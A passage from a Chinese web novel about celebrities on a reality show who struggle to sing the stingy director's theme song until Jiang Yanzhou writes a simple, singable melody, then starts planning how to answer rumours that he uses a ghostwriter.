连花钱请专业人士写首曲子都不肯,导演也忒抠门了。 弹幕也跟着吐槽: 【省钱省出新高度,导演您真是综艺界的一股泥石流。】 【导演:才华有没有不重要,主要是省钱(狗头)】 导演无视大家复杂的目光,得意洋洋地让工作人员分发乐谱:“来来来,大家都看看谱子,很简单朗朗上口的!咱们在场这么多艺人,音乐素养肯定没问题,合唱出来效果绝对不错!” 他想象着和谐动听的合唱场面,脸上露出了期待的笑容。 音乐声响起,前奏过后,导演抬手示意大家开始。 暨明旭深吸一口气,觉得这是一个表现的好时机。他抓着麦克风,扫了几眼曲谱,开始卖力演唱。 起初几句,有宿姚这些音准不错的人撑着,还算平稳。江知雾虽然没有系统学习过,但唱功也中规中矩。 然而很快,不和谐的声音就加入了—— 李乐乐堪称五音不全的代表,每一个音都精准地徘徊在调门之外,还唱得特别大声投入,充满了自信的跑调:“~~我们一起~勇往~直~前~~~哦~~~” 紧接着,季念念 奶声奶气的声音也加入走调行列。小家伙根本看不懂谱子,全凭感觉跟着哼,调子跑到天涯海角,还自带即兴改编:“~天空蓝蓝的~~姐姐香香的~~念念跟姐姐捉迷藏~” 她小小的身体蕴含着大大的能量,跟李乐乐一配合,直接压过了暨明旭的声音。 而江砚舟对导演这即兴创作的曲谱兴致缺缺,敷衍地动着嘴唇,声音倒是发出去了,但调子时高时低,完全随心所欲。 最要命的是,音响师可能想突出热闹的氛围,把众人麦克风的收声音量开得特别大,这些“个性鲜明”的嗓音被无限放大、混合、加强…… 顿时,整个房间充斥着一片难以形容的魔音。 高亢的、低沉的、跑调的、即兴的、敷衍的……各种声音交织在一起,形成一种极具冲击力的、让人头皮发麻的听觉灾难。 导演脸上的笑容逐渐凝固,嘴角开始微微抽搐。他下意识地捂了捂耳朵,又觉得不妥赶紧放下。 但那声音无孔不入,直往他脑仁里钻。导演的喉咙开始不自觉地上下滚动,脸色由红转白,又由白转青…… 突然,他猛地弯下腰,捂住嘴巴,发出了一声清晰而痛苦的:“呕——!” 现场瞬间安静下来,所有人都惊呆了,连跑调的几个人都停了嘴,愣愣地看着导演。 弹幕比他们还懵: 【?什么情况?谁在干呕?】 【哈哈哈哈哈哈哈哈哈哈我笑疯了!导演被难听吐了!】 【救命啊!虽然很缺德但是我真的忍不住哈哈哈!导演您还好吗!】 【幸好我反应及时,在他们开始唱的时候把音量调小了,不然我也想干呕hhh。】 【心疼导演!本来想省个作曲费,结果差点把自己送走。】 可怜的导演弯着腰,脸色青白,好不容易才缓过那阵强烈的生理不适,直起身的时候,眼角甚至因为反胃而挤出了几滴泪花。 众人面面相觑,一时间都不知道该作何反应。 李乐乐眨了眨眼,无比真诚且带着点小骄傲地问:“导演,您这是……被我们充满激情和力量的歌声给震撼到了吗?” 导演:“……” 他指着众人,声音里满是难以置信的谴责:“你们……你们这唱的是什么?!我谱子写得明明朗朗上口,怎么到你们嘴里就成了魔音灌耳?” 李乐乐一听不乐意了,当即把麦克风往旁边一放,叉着腰反驳:“导演,您可别冤枉人!我唱歌虽然不算好听,但也不至于把人唱吐吧?肯定是您那谱子有问题!一会儿高八度一会儿低八度的,我看着都绕得慌,更别说唱了!” “胡说!”导演立刻瞪圆了眼睛,梗着脖子维护自己的“作品”,“我这谱子是按最基础的C大调写的,节奏平稳,旋律简单,随便拉个人都能唱!明明是你们要么五音不全,要么敷衍了事,还好意思怪谱子?” 他坚决不承认是自己省经费写出来的曲子有任何问题,目光扫过在场众人后,很快锁定了补救方案。 导演清了清嗓子道:“既然集体合唱不行,那就换个办法!会唱歌的几位——知雾、宿姚、明旭、砚舟,你们四个负责一对一指导,把跑调的、不会唱的都给我教明白了!今天这主题曲,必须得录出个像样的版本!” 暨明旭立刻应下来,还刻意挺了挺胸,显然很享受这种“指导者”的身份。 而季宁深没做任何犹豫,抬脚就朝着离自己最近的江知雾走去。 他停在江知雾面前,微微垂下眼睫,谦虚地问:“知雾姐姐,我对音律实在不太擅长,可以请教一下你吗?” 江知雾刚想点头,一个身影却更快地挡在了她和季宁深之间。 原本无可无不可的江砚舟黑着脸,眼神不善地瞪着季宁深,语气硬邦邦的:“不用麻烦我姐,她这几天在医院没睡好,需要休息。这种小事,我来。” 他才不会给这个居心叵测的家伙任何靠近他姐姐的机会! 江知雾表情无奈。 而季宁深没有丝毫争执的意思,反而很爽快地应了声:“好,有劳。” 江砚舟被他这爽快的态度噎了一下,随即冷哼一声,拿起乐谱,没好气地指着第一句:“看好了,第一句‘迎着晨光,心之所向’,先跟我唱一遍,把节奏卡准了再说。” 他刻意放慢速度,认真地把歌词示范了一遍。 季宁深清了清嗓子,开口:“迎着晨光,心之所向~” 语调平直,毫无起伏,每一个音都精准地落在了堪称诡异的调子上,完美避开了所有正确音高。 江砚舟眉心狂跳,他深吸一口气,告诉自己要忍耐、忍耐。 “不对!音高了!再来。” “迎着晨光,心之所向。”季宁深再次开口,这次调子又毫无征兆地沉了下去,低得仿佛在念经。 “是‘心之所向’!尾音要扬上去一点!你扬啊!”江砚舟嗓音开始不自觉拔高。 季宁深尝试着扬了扬,结果扬得过于突兀和尖锐,像是指甲刮过黑板。 江砚舟只觉得额角的青筋都在蹦跳:“你是故意的吗?!这么简单的句子都学不会?!” 季宁深面露无辜,还带着点恰到好处的歉意和苦恼:“确实不太擅长。麻烦你再示范一次?” 江砚舟咬着后槽牙,又示范了一遍。 季宁深跟着唱,再次成功演绎出了第三种全新的、同样难听的跑调方式。 一遍,两遍,三遍…… 无论江砚舟如何分解、如何示范、如何咬牙切齿地纠正,季宁深总能以各种意想不到的角度完美跑调,甚至每一次的错误都还不重样。 江砚舟失去了所有的力气和手段。 江知雾正在给季念念做示范,见状主动开口:“砚舟,我来试试吧。” 季宁深歉意地笑了笑:“对不起,我是不是太难教了?” “不常接触音乐的人,找不到调门也是常事,慢慢来就好。”江知雾说。 江砚舟重重哼了一声,扭过头去,用后脑勺表达着自己的不满。 江知雾拿着曲谱看了眼:“这首歌其实不难,节奏也比较平缓。宁深,你不用刻意去记那些复杂的音高,先试着跟我轻声哼一下旋律,感受一下节奏,好吗?” 她的声音不像江砚舟那样带着急躁和命令,而是如涓涓细流,温和而清晰。 季宁深从善如流地点点头,目光专注地落在江知雾脸上:“麻烦知雾姐姐了。” “我们先看第一句,‘迎着晨光,心之所向’,”江知雾用指尖轻轻点着谱子,自己先非常缓慢而准确地哼唱了一遍旋律,然后抬眼看季宁深,“试着跟着这个感觉来,不用怕错,放松就好。” 季宁深沉吟片刻,然后跟着江知雾打的拍子唱出来:“迎着晨光,心之所向……” 虽然算不上多么惊艳动听,但音准竟然基本在线。 江知雾眼中露出一丝鼓励的笑意:“对,就是这样!感觉找到了。再来一次,尾音这里稍微再稳一点……” 她又示范了一次,这次特意加重了“向”字的尾音。 季宁深跟着唱,这一次,不仅节奏稳了,音高也几乎完全对上,虽然称不上惊艳,但至少勉强合格了。 江知雾夸赞:“很不错!你看,只要找对方法,很快就能学会。” 季宁深也露出了笑容:“多亏知雾姐姐教得好,换做我自己,恐怕还得琢磨很久。” 一旁的江砚舟看着这一幕,翻了个大大的白眼—— 跟他学的时候,跑调跑得千奇百怪,换了他姐教,立马就会了? 说不是故意的谁信啊?! 第48章 江知雾还在给季宁深一对一指导,江砚舟抱臂在旁边白眼狂翻,而弹幕早已笑成一片: 【srds,季宁深怎么茶里茶气的哈哈哈哈,江砚舟的表情就是我现在的表情!】 【实在没想到,季大佬居然还有这种小心机,是为了吸引知雾姐姐的注意吗?】 【小江同学感受到了世界深深的恶意和针对。】 【砚舟:我教的时候你可不是这样的!!(无能狂怒)】 【不过江姐姐的教学方式循序渐进,换我我也学得快啊。】 …… 就在江砚舟对着季宁深腹诽不已时,旁边认真旁听了江知雾教学全过程的季念念小宝贝,觉得自己完全掌握了唱歌的精髓! 她骄傲地挺起小胸脯,深吸一口气,然后扯着她那极具穿透力的小奶音,无比自信地跟着旋律放声高歌:“迎着晨光~~~心之所向~~~” 短短八个字,跑调跑到十万八千里远,每一个音都精准地踩在了人类听觉的耐受极限上,魔音穿耳,威力惊人! 正全神贯注生闷气的江砚舟猝不及防,被这毫无防备的一嗓子嚎得浑身一激灵。 他几乎是条件反射地用手死死捂住了耳朵,脸上写满了惊恐和难以置信—— 这真的是人类幼崽能发出的声音?!杀 伤力比刚才的大合唱还要恐怖十倍! 江砚舟难以置信地吐槽:“小不点,你这唱的是什么啊?比装修的电钻声还刺耳。” 季念念完全没意识到自己造成了多大的声波攻击,她得意地挺起胸脯,眨巴着圆溜溜的眼睛看江知雾,小脸上写满了“快夸我快夸我”,期待得到和舅舅一样的表扬。 江知雾看着小朋友眼里亮晶晶的期盼,实在不忍心打击孩子的积极性。 她摸了摸对方的小脑瓜,斟酌着词句说:“念念的声音很响亮,充满了活力呢。” 季念念一听这话,顿时乐开了花,小脸蛋涨得通红,兴奋地原地蹦了两下,然后扯着嗓子唱得更卖力了:“我们一起携手~享受快乐时光~~~” 她这边一情绪高昂,那极具感染力的跑调歌声立刻像病毒一样扩散开来。 隔壁正被宿姚耐心纠正音准的李乐乐,本来就在跑调的边缘挣扎,一听念念唱得这么开心,她也忍不住跟着兴奋起来,彻底抛弃了宿姚刚刚教的正确唱法,跟着念念的调子一起嗨:“享受快乐时光~哦~~~” 宿姚:“……” 被暨明旭指导的李柏本就对唱歌没什么天赋,被乐乐和念念这欢脱的跑调二重唱一带,脑子一懵,也跟着放飞了自我,声音不由自主地拔高,加入了魔音大军。 一时间,房间里再次陷入了群魔乱舞般的局面,各种难听到极点的调子交织在一起,比之前的合唱还要混乱。 江砚舟捂着耳朵的手又紧了紧,脸上满是生无可恋。可没等他缓过劲来,更让他惊恐的事情发生了—— 原本在江知雾指导下已经能唱准基本调子的季宁深,在持续不断的魔音侵扰下,只坚持了不到两小节,然后不知不觉地……跟着季念念的调子拐了一个弯。 江知雾显然也受到了干扰。 她试图把季宁深拉回正轨,自己示范了一句,但开口的瞬间,语调竟然也微妙地发生了一些偏移…… “姐!你怎么也被带偏了?!”江砚舟一个头两个大。 江知雾自己也愣了一下:“有吗?” 江砚舟生无可恋地狂点头。 弹幕笑到崩溃: 【哈哈哈哈哈全军覆没!全都被带跑偏了!】 【我实在没想到季宁深这个几百亿票房的年轻顶流,居然唱歌能跑调成这样。】 【笑不活了,季宁深你怎么回事啊!刚学会就打回原形,还把江姐姐拉下。】 【江砚舟:我是谁?我在哪?我在干什么?】 江砚舟眼睁睁看着他亲爱的姐姐在那魔音无孔不入的环绕攻击下,再也找不回当初的调子。 而病毒的源头季念念还在毫无所觉地、快乐地、大声地嘎嘎嘎唱着,李乐乐和李柏已经彻底沦陷,欢快地伴唱。 宿姚徒劳地试图阻止,声音却被完全淹没。 江砚舟望着眼前彻底失控的场面,只觉得太阳穴突突直跳。他干脆放弃了抵抗,瘫坐在旁边的沙发上,一副“眼不见为净”的生无可恋模样。 黄芷禾站在稍远的角落,精致的眉头微微蹙起,显然被这毫无章法的“合唱”扰得有些心烦。 作为艺人,平时不仅要接受演技相关的训练,还得学习形体、仪态、声乐等各种各样的东西,所以黄芷禾自信自己的演唱水平还是能够指导人的。 她把江汀拉到室外,然后开始讲解:“唱歌其实没那么难,关键是掌握方法。气息要沉下去,用丹田发力,不是单纯靠嗓子喊。”她边说边用手轻轻按了按自己的腹部,“我们要学会掌握胸腔共鸣、头腔共鸣,这样声音才会有质感,也更有穿透力。” 她滔滔不绝地讲着,从气息控制到发声技巧,再到如何把握歌曲情感,各种专业名词层出不穷。 江汀听了半天,只听到一大堆理论名词,没提取出什么有用的东西,于是只能慢吞吞地开始走神。 终于,黄芷禾讲得口干舌燥,才停下话头,端起桌上的水杯喝了一口,才终于进入正题。 “光说不练也不行,我给你示范一下吧。” 江汀无可无不可地点了点头。 于是黄芷禾清了清嗓子,调整好站姿,闭上眼睛深吸一口气。声音平稳,音准无误,技巧上挑不出什么大毛病,比起房间里那肆虐的“音波攻击”,确实称得上一句“还行”。 她的粉丝立刻切换到了吹捧模式: 【!!!芷禾这唱功也太绝了吧!这唱歌水平完全可以出单曲了!】 【刚才里面那群人简直是噪音污染,禾禾一开口瞬间净化耳朵。】 粉丝们越吹越起劲,甚至开始暗戳戳地拉踩其他人。 然而,她的表演也仅仅停留在“无误”和“平稳”上,缺乏感染力,甚至因为过于刻意展示技巧而显得有些刻板。 所以很快就被路人给怼回去了: 【粉丝别吹了,这顶多算KTV中等偏上水平,离‘专业’还有距离哈。】 【对啊,有些音也根本不在调子上,就这还出单曲呢。】 粉丝被说得有些破防,觉得这些人都是没有眼光的反驳型人格。 而屋内的魔音依旧不绝于耳,季念念的奶音跑调带着李乐乐的女高音破音,再混上李柏的即兴乱哼,形成一股极具穿透力的声波,连墙壁都仿佛在轻微震动。 导演痛苦地捂着耳朵,在一片混乱中,脸上最后一丝倔强终于土崩瓦解。他开始深刻怀疑人生—— 难道真是自己写的曲子有问题?! 他目光扫过全场,最终锁定在两位公认有创作能力的嘉宾身上。 “那个……砚舟,明旭啊,”导演搓着手,脸上堆起讨好的笑容,“你们看,这集体教学效果好像不太理想哈。你跟明旭不都是搞创作的嘛,能不能麻烦你们俩现场编个曲子?不用多复杂,简单好唱就行!” 江砚舟懒洋洋地掀了掀眼皮,一针见血:“导演,您就是想省下请专业作曲的钱吧?” 导演被戳中心事,老脸一红,不好意思地挠了挠头:“咳!话、话不能这么说……这不也是给大家一个展示才华的机会嘛!” 江知雾站在旁边,无奈地轻轻拍了拍江砚舟的胳膊。 弟弟说话总是这么直接,一点面子都不给人留。 江砚舟撇了撇嘴,没再反驳,却也没主动起身,依旧靠在沙发上,一副提不起劲的样子。 他本来就对这种临时凑数的创作没兴趣,更何况还是为了帮导演“填坑”,自然懒得积极。 比起他,弹幕却显得激动很多: 【暨明旭粉丝前来报到!终于轮到我们明旭展示真正实力的时候了!创作才子可不是白叫的!】 【江砚舟应该是只会唱歌不会编曲吧?现场创作这么考验功底的事,他肯定没把握。】 【某些人就是怕现场写不出来,故意表现得没兴趣,等会儿要是编不好,还能找“没认真”的借口,算盘打得真响。】 【笑死,砚舟没水平?他出道专辑自己包办词曲销量破纪录的时候,暨明旭还不知道在哪儿呢。】 暨明旭本人比粉丝还要激动。 他本来就憋着一股劲想压过江砚舟,此刻更是觉得这是个绝佳的机会。他立刻站直身体,笑着拍了拍胸脯:“导演您放心!编曲子这种事情包在我身上 好了。” 江知雾面带微笑地注视着信心满满的暨明旭,然后轻轻戳了戳江砚舟的手臂。 江砚舟转过头,就看到姐姐笑意吟吟地看着自己:“砚舟?你也试试吧?” 江砚舟本来觉得这种暗戳戳的较劲很幼稚,暨明旭爱写就让他写呗,反正他懒得跟对方抢这种风头。 但是他不敢违逆姐姐的意思,只能慢吞吞地从沙发上坐起来,拿起旁边的纸笔。 跟急吼吼的暨明旭不同的是,江砚舟并没有急着下笔,而是若有所思地打量了一下在场的几个跑调大王,心里有了模糊的念头。 这时,李柏挠了挠头,憨憨地问:“等会儿是选谁的歌呢?唱一首还是两首都唱?” 他话音刚落,季念念就立刻仰着小脑袋,脆生生地接话:“当然是选好听的那首呀!” 李柏嘀咕道:“那没被选上的人岂不是很丢脸……” 话没说完,腹部就遭到了李乐乐的肘击。 她白了眼自家哥哥,皮笑肉不笑地说:“你要是太闲了就先去吊会儿嗓子。” 免得总是说一些没有眼色的话。 暨明旭耳尖,李柏和李乐乐那两句对话早飘进了他耳朵里,这让他本就有些焦躁的心情更添了一丝压力。 毕竟他比谁都想靠这首曲子压过江砚舟。 暨明旭偷摸抬眼扫向斜对面的江砚舟,却见那人靠在沙发上,一条腿搭在另一条腿上晃悠,手里的笔半天没落下,只在纸角随便画了个歪歪扭扭的音符,活像在打发时间。 他心里顿时松了口气,看来江砚舟也没什么思路。 江知雾将他的表情尽收眼底,唇角始终带着淡淡的笑意。 她相信江砚舟的天赋,等着看弟弟是如何用最随意的姿态,写下最惊艳的旋律。 镜头扫过正在创作的两人,对比鲜明。 暨明旭眉头紧锁,时而奋笔疾书,时而划掉重写,额头上甚至渗出了细密的汗珠,显得十分投入且努力。 而江砚舟则依旧是一副漫不经心的样子,偶尔在纸上写下几个音符或和弦代号,姿态放松得仿佛只是在涂鸦。 直播间的弹幕上,双方的粉丝吵得不可开交: 【江砚舟怎么不动笔?这是知道自己几斤几两,准备直接放弃了吗?】 【我感觉导演多少有点故意的成分在,因为最近江砚舟身上有请枪手争议,特意设个环节捧他,真无语。】 【前面的真是粉圈思维入脑,导演抠门省经费也不是一天两天了,这明显就是想扣扣搜搜省作曲的钱嘛。】 【不用跟脑残粉多解释,他们肯定是自家正主没实力,才觉得全世界都在针对他。】 【别吵了看结果不行吗?暨明旭好像写好了!】 就在这时,暨明旭长吁一口气,猛地放下笔,脸上带着一丝疲惫但更多是自信的笑容,举起手:“导演,我写好了!” 所有人的目光瞬间聚焦在他身上。 导演赶紧抬手示意:“好好好!明旭先来!给大家试唱一下!” 暨明旭略带得意地看了一眼似乎还在“神游”的江砚舟,然后清了清嗓子,开始演唱他自己创作的片段。 他的曲子确实体现了相当的音乐素养,包含了复杂的节奏变化、一些听起来很高级的和弦进行,以及一段需要极强气息控制和转音技巧的副歌部分。 他演唱时,也刻意加入了诸多炫技式的处理,试图展现自己的专业能力。 刚唱完一段,粉丝就卖力地捧场: 【啊啊啊好好听,不愧是我旭~这旋律这编排太高级了!】 【万人血书求明旭单飞,这实力组男团太屈才。】 然而,现场嘉宾们的反应却有些微妙。 宿姚保持着礼貌的微笑,但眼神里却满是读不懂的情绪;李柏微微颔首,似乎认可其技巧,不过眉头并未完全舒展;而江知雾依旧是那副淡淡的、看不出深浅的笑容。 暨明旭演唱完毕,自信满满地开始指导大家:“来,大家看我的谱子,我们先从主歌开始,注意这个切分节奏……” 说着,他就抬手打拍子,示意大家一起唱。 结果众人一开口,场面差点儿失控了—— 李乐乐根本唱不上去谱子里的高音,只能扯着嗓子往上飙,唱得活像杀鸡叫;李柏盯着谱子上密密麻麻的音符,半天找不到调,干脆硬着头皮瞎哼;季念念更绝,奶音混着破音,穿透力比刚才还强。 复杂的节奏他们根本抓不住,音域跨度大,高音上不去低音下不来,那段华丽的转音更是直接变成了灾难现场般的鬼哭狼嚎。 “停!停!”暨明旭脸都绿了,猛地抬手打断,“你们怎么回事?照着谱子唱啊!副歌的转音注意点,高音别破!” 可再试一次,结果还是一样的灾难。 众人根本驾驭不住这种复杂的歌曲。 导演原本期待的笑容彻底僵在脸上,他忍了又忍,最终还是没能完全忍住,喉咙不受控制地滚动了一下,发出一声轻微的干呕声,虽然立刻捂住了嘴,但痛苦的表情已经说明了一切。 暨明旭的粉丝立刻不干了: 【导演什么表情啊?明明很好听!是其他人太笨了学不会!】 【就是!曲高和寡懂不懂?这么好的曲子给这些人唱真是浪费!】 【导演绝对是故意的!就是想打压我们明旭!偏心眼!】 有路人忍不住站出来,说了句公道话: 【承认吧,暨明旭就是没考虑受众水平,曲子写得再高级不合适有屁用。】 【这歌一堆乱七八糟的转音,光顾着炫技了,也没有好听到哪里去。】 【就是,写歌是给人唱的,又不是摆在供台上拿来当摆设的,别说唱的人了,这曲子我听着都累。】 原本自信心满满的暨明旭有点尴尬,神色中还带着几许难堪。 zelon男团之前都是请专业的老师编曲编舞,暨明旭自己写的歌一般都发在微博上,且只有部分片段,粉丝带着滤镜,区分不出好坏,当然只会一味捧场叫好。 而当着直播镜头现场创作整首歌曲,挑战性还是太大了,暨明旭有些被打击到自信心。 黄芷禾见状,忙放软声音安慰他:“明旭,你这曲子编曲特别见功底,转音和和弦设计都很高级,只是大家跟你水平差得有点多,一时没跟上而已,真不是你的问题。” 暨明旭原本难看的脸色果然缓和了不少。 他深吸一口气,像是找到了台阶,语气也重新变得坚定:“确实,可能是我对大家的预期太高了,这首歌需要一定的演唱功底……” 网友听到这话,当场乐了: 【瞧瞧这话说的,写歌技巧我是懂不了那么多,但歌好不好听我还不知道吗。】 【yue了,黄芷禾可真是闭着眼睛吹啊。】 正吵着,江砚舟终于从沙发上起身,手指夹着那张写满音符的纸,慢悠悠走到导演面前,随手一递,语气懒散:“喏。” 导演一看那谱子,发现乐谱简单得甚至有点可怜,音符都没几个,和弦进行也是最基础的那种。 他有点不确定地问:“砚舟啊,你这确定写好了?要不,你先给大家示范一遍?” 江砚舟眉头一皱,脸上写满了“麻烦”两个字,刚想拒绝,余光就瞥见江知雾正微笑着看他,眼神里带着鼓励和一点点不容拒绝的意味。 他到嘴边的话咽了回去,认命似的叹了口气,拿回谱子。 开口的调子没什么花头,就几句简单的旋律,音域压得很平,连副歌都没搞复杂的转音,就靠抓人的节奏把情绪带出来。 江砚舟唱得很随意,连拍子也打得断断续续,可刚唱完最后一个音,旁边的李乐乐就忍不住“哇”了一声:“这歌只唱了一遍我好像就记住了!” 季念念也晃着小脑袋说:“念念觉得好听!” 导演赶紧招呼大家:“来来来,都看着谱子,跟着砚舟的调子来一遍!” 刚起了个头,李乐乐还是没按住高音,声音飘了一下,可偏偏季念念的奶音刚好卡在她漏的空里,软乎乎地补上了;李柏依旧找不准节奏,慢了半拍,却意外跟宿姚稳下来的低音搭成了反差。 李乐乐唱完一段,自己都惊呆了,难以置信地摸了摸自己的喉咙:“ 天哪……这、这真是我唱出来的?” 李柏也不可置信地说:“嘿,我这种五音不全的居然也能跟上拍子。” 导演激动得差点老泪纵横,终于不用再受魔音灌耳的折磨了! 直播间的弹幕更是反响热烈: 【江砚舟是有点东西在身上的!不搞花架子,写的全是普通人能接住的调子,这才叫懂音乐啊!】 【不是,我怎么感觉大家照样跑调,但唱出来就意外的有层次感?】 【本音乐生来说一句,江砚舟这操作看似简单,实则极难!他必须瞬间判断出每个人的音准偏差范围和舒适音区,然后用一个所有人都能勉强够着的旋律做框架,把散装的跑调整合成一种“有组织的跑调”,这需要超绝的听力、乐感、和编曲意识!】 【顶流牛逼!化腐朽为神奇啊!】 【季宁深粉丝忍不住爬墙一秒,突然觉得江砚舟那懒洋洋的样子很帅怎么办?他在自己的领域是真的在发光。】 江砚舟的目光穿过嬉笑打闹的人群,准确无误地落在了江知雾身上。 她依旧站在那里,那双看向他的眼睛里,带着毫不掩饰的骄傲,以及一种“你看,我就知道”的笃定。 他忽然就明白了姐姐的用意。 对付流言蜚语最好的方式,不是生气,不是辩驳,而是实力的直接碾压。 第49章 江砚舟望着江知雾眼底那抹毫不掩饰的骄傲,不知道为什么,心情不知不觉就飞扬了起来。 对他来说,能得到姐姐的认可,是一件非常值得开心的事情。 正怔神间,黄芷禾突然探究般询问:“砚舟,你这旋律听起来简单又顺口,是不是早就构思好了,就等着这个机会拿出来表现一下?” 这话一出,现场瞬间安静了几分。 宿姚皱了皱眉,显然觉得黄芷禾这话问得有些不合时宜;李乐乐自从隧道事件过后,就看黄芷禾不太顺眼,默默撇了撇嘴。 只有暨明旭觉得黄芷禾说得有道理,不动声色地点了点头。 季宁深似笑非笑地说:“黄老师,像你这种心眼子这么多办法,寻常人一时半会儿还真想不到。” 弹幕立刻领会了精神,哈哈大笑: 【哈哈哈季宁深你是懂反讽的!】 【黄芷禾是不是见不得别人好啊?自己心思不正,就觉得全世界都跟她一样,服了。】 黄芷禾被季宁深这不软不硬的话一堵,脸色顿时有些尴尬。 导演的脸色比她更不好看。 黄芷禾刚才的话,不仅质疑了江砚舟,隐隐也把他给带进去了——仿佛他和江砚舟早就串通好了,故意设局让江砚舟出风头似的。 虽然他是抠门了一点,但整个节目对所有嘉宾一视同仁,没一丝偏袒的好吗! 最后的旋律自然定下了江砚舟的这一版本。 众人又排练了一个小时,导演看时间差不多,宣布休息。 大家一哄而散,季念念去院子里追蝴蝶,宿姚还在垂眸研究谱子,李乐乐去厨房偷吃东西。 江砚舟没跟其他人凑热闹,而是跟着江知雾回了她的房间。 刚关上门,他就直截了当地开口:“姐,我有件事想问你。” 江知雾转过身,脸上带着几分了然的笑意:“想问我为什么今天非要让你写歌?” 江砚舟没否认,而是清了清嗓子,一本正经地分析: “平时你虽然也会使唤我做事,但不会在这种明显带着比较和争议的环节主动推我出来。” 他顿了顿,继续推理:“你明明知道暨明旭想出风头,也知道我懒得掺和,却还是坚持让我写歌,你想通过我的表现,侧面回应我跟暨明旭之间的争议。” 江知雾安静地听着,等江砚舟说完,她才缓缓开口:“嗯,分析得很有道理。其实没你想的那么复杂,我其实只是单纯想看看,我弟弟在他擅长的领域里发光的样子。” 江砚舟:“……” 他一腔福尔摩斯的推理热情瞬间被浇熄了,整个人顿时蔫吧了下来。 好吧,难道真是自己想太多了? 看到弟弟这副蔫哒哒的模样,江知雾眼底的笑意加深,不再逗他:“好了,不开玩笑了。” 她的神色认真起来:“你分析的没错,确实是我有意为之。” 她走到桌边,拿起手机,点开几个页面,递给江砚舟:“在你住院期间,网上关于你请枪手的谣言愈演愈烈。虽然目前大多数理智的粉丝和路人还不太相信,但这种谣言流传度很广,说得有鼻子有眼,我觉得不能再放任不管。” “我本来想找机会帮你澄清,但后来想想,我们没有证据,空口说白话没意义,倒不如先让你在镜头前直接展示实力。”江知雾淡淡地说,“既然暨明旭是谣言里的‘枪手’,你跟他同台创作,谁有真本事,大家一眼就能看出来。” 江砚舟听着姐姐条理分明的解释,神色也认真起来:“姐,其实那些谣言……我也看到了。” 江知雾挑眉,似乎有些意外:“哦?看到了还这么沉得住气?不像你。” 江砚舟摸了摸鼻子,有点不好意思:“一开始是觉得无聊,清者自清,跟他们费口舌纯属浪费时间。但后来被你提醒之后发现,这玩意儿就像你说的,跟牛皮糖似的,粘上了就甩不掉,越不理它,它越来劲,看着确实挺烦人的。” 他顿了顿,眼神里透出一股难得的决断:“所以我也想通了,是该处理一下。姐,这事交给我吧,我来想办法。” 江知雾问:“你打算怎么处理?这事情牵扯的时间线很长,很多细节恐怕很难找到实证了。” 江砚舟被问住了,下意识挠了挠头:“呃……这个嘛,暂时还没太具体的头绪。”他坦诚地说,“之前写歌都是随手记在草稿本上,有的片段甚至是录在MP3上的,时间久了好多都找不到了,要举证确实麻烦。” 话虽这么说,他却立刻挺直了腰板,语气带着不容置疑的认真:“但你别管了,反正我肯定能想出办法来。” 江知雾静静看了他几秒。 她清晰地感觉到,眼前这个曾经毛毛躁躁、遇事容易冲动的弟弟,确实在不知不觉中变得成熟了许多。 他会思考,会权衡,虽然还不够老练,但已经有了主动解决问题的意愿。 或许,是时候适当放手,让他自己去学会面对问题、处理问题。 于是她没再追问细节,只是轻轻点了点头:“行,那你放手去做。” “啊?”江砚舟反倒愣住了,眼睛瞪得溜圆,像是没听清,“姐,你就这么信我?你不怕我一时忍不住,直接把暨明旭那家伙逮住揍一顿出气啊?” 江知雾语气带着笃定:“你自己心里有分寸,我信你。” 她说完,不再多言,转身拿起洗漱用品,径自走向浴室,留下轻飘飘的一句,“我去洗漱了。” 房门轻轻合上,将空间留给了江砚舟。 江砚舟独自站在原地,怔怔地看着姐姐消失的方向,心里因为姐姐一句话而热血沸腾起来。 江知雾居然这么信任他? 一种前所未有的责任感席卷了江砚舟,他猛地握紧了拳头,眼底燃起两簇明亮的火焰。 对!那他也绝不能辜负姐姐这份沉甸甸的信任! 暨明旭是吧?造谣是吧? 给他等着! 从江知雾的房间 出来时,江砚舟胸腔里还翻涌着滚烫的热意。 姐姐那句“我信你”让他动力十足,却也因为毫无头绪而倍感焦灼。 江砚舟沿着童话小屋的石板路漫无目的地走,不知不觉就晃到了小镇中心的书店。 鬼使神差地,江砚舟走了进去。书店里弥漫着旧纸张和油墨的香气,他的目光无意识地扫过一排排书架,忽然,一本封面设计格外扎眼的书撞入他的眼帘—— 《我不是教你玩阴的》。 “小伙子好眼光啊!” 身后突然传来老板的声音,江砚舟回头一看,穿格子围裙的中年老板正端着杯热茶走过来,语气带着一种倾情推介的热忱,“这本书可不得了,不是我自夸,它能有效增长智商,锻炼思维,教你如何洞察人心,巧妙处理各种复杂的人际关系和棘手难题……可谓是行走江湖,居家必备之良品啊!” 江砚舟眨眨眼。 增长智商?处理难题?这不正是他现在需要的吗! “就它了!”几乎没怎么犹豫,江砚舟一把抽出那本书,直奔柜台付钱,动作干脆利落。 季宁深恰好在院子里陪季念念抓蝴蝶,他一眼瞥见脚步匆匆回来的江砚舟,再目光下移,赫然看到对方腋下夹着一本板砖一样沉重的书。 定睛一看书名—— 《我不是教你玩阴的》。 他挑眉,随口问道:“在想怎么处理请枪手的谣言?” 江砚舟吓得差点跳起来,猛地回头,一脸惊骇:“你、你怎么知道?!”他下意识把手里的厚黑学大部头往身后藏了藏。 季宁深懒洋洋地抬了抬下巴:“猜的。”他瞥了眼江砚舟藏书的动作,啧啧道,“不过,知雾姐姐居然放心把这件事交给你自己处理?” “怎么?不行吗?”江砚舟没好气地翻了个大白眼,“我又不是小孩子了,这种事我当然能自己解决。” “行吧。”季宁深摊摊手,“如果有任何需要帮助的地方,可以随时找我。” 江砚舟有些微愣。 他和季宁深算不上熟,顶多小时候有点渊源,平时录节目的时候没少给对方冷脸,但这家伙为什么总对他好像格外关照? 他心里犯着嘀咕,面上却不肯露怯,摆出一副“我一切尽在掌握”的冷静模样:“不用了,我自有办法。” 季宁深看着他这副强行装出来的老成持重,嘴角微不可查地抽动了一下。 不知道为什么,总感觉江砚舟假装聪明的样子反而显得更不聪明了…… 不过这话他没说出口。 江砚舟懒得跟他多费口舌,抱着怀里的书转身就要走,脚步刚挪出去两步,脑子里却突然闪过一个念头—— 如果是江知雾遇到这种事情,她会怎么做? 想着想着,江砚舟的脚步慢了下来。 一个念头如同电光石火般窜入他的脑海。江砚舟突然意识到,与其费力地自证清白,不如让造谣者自乱阵脚。 既然他们能无中生有地编造,为什么不能设置一个圈套,引导他们自己露出破绽? 他的眼睛瞬间亮了起来,猛地回头看季宁深:“喂!你刚才说可以帮忙的话,还算数吗?” 